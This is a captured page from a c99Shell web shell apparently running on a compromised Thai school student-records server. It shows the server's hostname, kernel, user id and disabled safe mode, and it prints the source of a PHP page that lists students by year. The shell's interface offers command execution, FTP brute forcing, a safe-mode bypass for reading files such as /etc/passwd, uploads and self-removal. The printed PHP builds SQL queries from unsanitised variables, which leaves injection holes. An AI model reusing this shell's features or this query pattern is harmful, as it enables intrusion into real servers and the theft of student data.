!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage_22222/Std_Acc_depart/Student/   drwxr-xr-x
Free 52.4 GB of 127.8 GB (41%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ByYear.php (4.07 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
 session_start
();
 if (
session_is_registered("valid_user"))
 {
$Username $valid_user;
include(
"../../include/FunctionDB.php");
ConnectDB();
$sql "SELECT * FROM personal_tb WHERE Username='$Username'";
$res mysql_query($sql);
$rs mysql_fetch_array($res);
$strSQL "SELECT * FROM training_tb GROUP By Year_std";
$result mysql_query($strSQL); 
$num mysql_num_rows($result );
//$rs = mysql_fetch_array($result);
 //$code = $rs[Teacher_code];
?> 
<html>
<head>
<title>Display Project List </title>
<link rel="stylesheet" href="../../teacher/css/cart3.css" type="text/css">
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
<link href="../../css/style1.css" rel="stylesheet" type="text/css">
</head>
<body bgcolor="#FFFFFF">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
  <tr> 
    <td> <div align="center"></div></td>
  </tr>
</table>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
  <tr> 
    <td>&nbsp;</td>
  </tr>
</table>
<table width="69%" border="0" align="center" cellpadding="0" cellspacing="2" bordercolor="#999999" style="background-color:#eeeeee; border:1px solid gray"size="12">
  <tr bgcolor="#AFCFEF"> 
    <td height="25" colspan="3"> 
      <div align="center"><font color="#003366" size="4" face="Tahoma"><strong>ข้อมูลนักศึกษาตามปีการศึกษา</strong></font></div></td>
  </tr>
  <tr> 
    <td width="41" align="center" bordercolor="#999966" bgcolor="#CCCCCC" style="border:1px solid gray"><strong><font color="#000000" size="2" face="Tahoma">No.</font></strong></td>
    <td width="268" align="center" bordercolor="#999966" bgcolor="#CCCCCC" style="border:1px solid gray"><strong><font color="#000000" size="2" face="Tahoma">ปี 
      พ.ศ</font></strong></td>
    <td width="215" align="center" bordercolor="#999966" bgcolor="#CCCCCC" style="border:1px solid gray"><strong><font size="2" face="Tahoma">จำนวนนักศึกษาทั้งหมด 
      / ปี</font></strong></td>
  </tr>
  <?php
$i 
1;
 while(
$row mysql_fetch_array($result))
 {

     if(
$count==0)
     {
?>
  <tr > 
    <td align=center bgcolor="#F7F7F7" ><strong><font color="#996600" size="2" face="Tahoma"> 
      <?=$i?>
      </font></strong></td>
    <td align=center bgcolor="#F7F7F7" > <div align="center"><strong><font size="2" face="Tahoma"><font color="#996600"> 
        <a href="ByCourse.php" title="Click to see Detail" class="d"> 
        <? echo $row["Year_std"]?> </a> </font></font></strong></div></td>
    <td align=center bgcolor="#F7F7F7" ><strong><font color="#996600" size="2" face="Tahoma">
          <?php
    $Year_std 
$row[Year_std];
    
$sql1 "Select * From training_tb Where Year_std='$Year_std'";
    
$result1 mysql_query($sql1);
    
$countnum mysql_num_rows($result1);
     echo 
$countnum;
    
    
?>
 </font></strong></td>
  </tr>
  <?
    $count
=1;
     }
else
{
?>
  <tr> 
    <td align="center" bordercolor="#999966" bgcolor="#FFFFFF" ><strong><font color="#996600" size="2" face="Tahoma"> 
      <?=$i?>
      </font></strong></td>
    <td height="20" align="center" bgcolor="#FFFFFF" > 
      <div align="center"><strong><font size="2" face="Tahoma"><font color="#996600"> 
           <a href="ByCourse.php" title="Click to see Detail" class="d"> 
        <? echo $row["Year_std"]?> </a> </font></font></strong></div></td>
    <td align="center" bgcolor="#FFFFFF" ><strong><font color="#996600" size="2" face="Tahoma">
          <?php
    $Year_std 
$row[Year_std];
    
$sql1 "Select * From training_tb Where Year_std='$Year_std'";
    
$result1 mysql_query($sql1);
    
$countnum mysql_num_rows($result1);
     echo 
$countnum;
    
?>
      </font></strong></td>
  </tr>
  <?
$count
=0;
}
$i++;
 }    
CloseDB();
?>
  <tr bgcolor="#AFCFEF"> 
    <td height="25" colspan="3" align="center"> 
      <div align="center"><strong><font color="#000000" size="2" face="Tahoma">ทั้งหมด</font><font color="#993333" size="2" face="Tahoma"> 
        <? echo $num ?></font><font color="#FFFFFF" size="2" face="Tahoma"> <font color="#000000">ปี</font></font> 
        </strong></div></td>
</table>
<p>&nbsp;</p>
</html>
<?php 
    
}
else
{
       echo
"<meta http-equiv=\"refresh\" content=\"3;URL=../../login.php\">\n";
       echo
"Please Login ";
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0099 ]--